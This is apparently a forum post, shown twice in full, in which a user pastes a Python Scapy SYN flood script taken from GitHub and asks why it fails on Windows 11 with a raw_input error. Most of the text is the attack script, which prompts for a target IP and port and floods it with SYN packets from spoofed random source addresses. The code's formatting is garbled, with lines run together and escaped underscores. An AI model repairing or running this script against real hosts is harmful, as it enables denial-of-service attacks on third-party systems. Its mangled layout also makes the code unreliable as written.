Python SYN flood test
-
I tried to use the following code from github and test SYN flood:
from scapy.all import *
import os
import sys
import randomdef randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ipdef randInt():
x = random.randint(1000,9000)
return xdef SYN_Flood(dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()IP\_Packet = IP () IP\_Packet.src = randomIP() IP\_Packet.dst = dstIP TCP\_Packet = TCP () TCP\_Packet.sport = s\_port TCP\_Packet.dport = dstPort TCP\_Packet.flags = "S" TCP\_Packet.seq = s\_eq TCP\_Packet.window = w\_indow send(IP\_Packet/TCP\_Packet, verbose=0) total+=1 sys.stdout.write("\\nTotal packets sent: %i\\n" % total)
def info():
os.system("clear")dstIP = raw\_input ("\\nTarget IP : ") dstPort = input ("Target Port : ") return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))main()
when I run the code, the following error is shown:
Quote:
WARNING: No libpcap provider available ! pcap won't be used 'clear' is not recognized as an internal or external command, operable program or batch file. Traceback (most recent call last): File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in main() File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main dstIP,dstPort = info() ^^^^^^ File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info dstIP = raw_input ("\nTarget IP : ") ^^^^^^^^^ NameError: name 'raw_input' is not defined
I'm running this code on windows 11. Why is this error shown?
-
I tried to use the following code from github and test SYN flood:
from scapy.all import *
import os
import sys
import randomdef randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ipdef randInt():
x = random.randint(1000,9000)
return xdef SYN_Flood(dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()IP\_Packet = IP () IP\_Packet.src = randomIP() IP\_Packet.dst = dstIP TCP\_Packet = TCP () TCP\_Packet.sport = s\_port TCP\_Packet.dport = dstPort TCP\_Packet.flags = "S" TCP\_Packet.seq = s\_eq TCP\_Packet.window = w\_indow send(IP\_Packet/TCP\_Packet, verbose=0) total+=1 sys.stdout.write("\\nTotal packets sent: %i\\n" % total)
def info():
os.system("clear")dstIP = raw\_input ("\\nTarget IP : ") dstPort = input ("Target Port : ") return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))main()
when I run the code, the following error is shown:
Quote:
WARNING: No libpcap provider available ! pcap won't be used 'clear' is not recognized as an internal or external command, operable program or batch file. Traceback (most recent call last): File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in main() File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main dstIP,dstPort = info() ^^^^^^ File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info dstIP = raw_input ("\nTarget IP : ") ^^^^^^^^^ NameError: name 'raw_input' is not defined
I'm running this code on windows 11. Why is this error shown?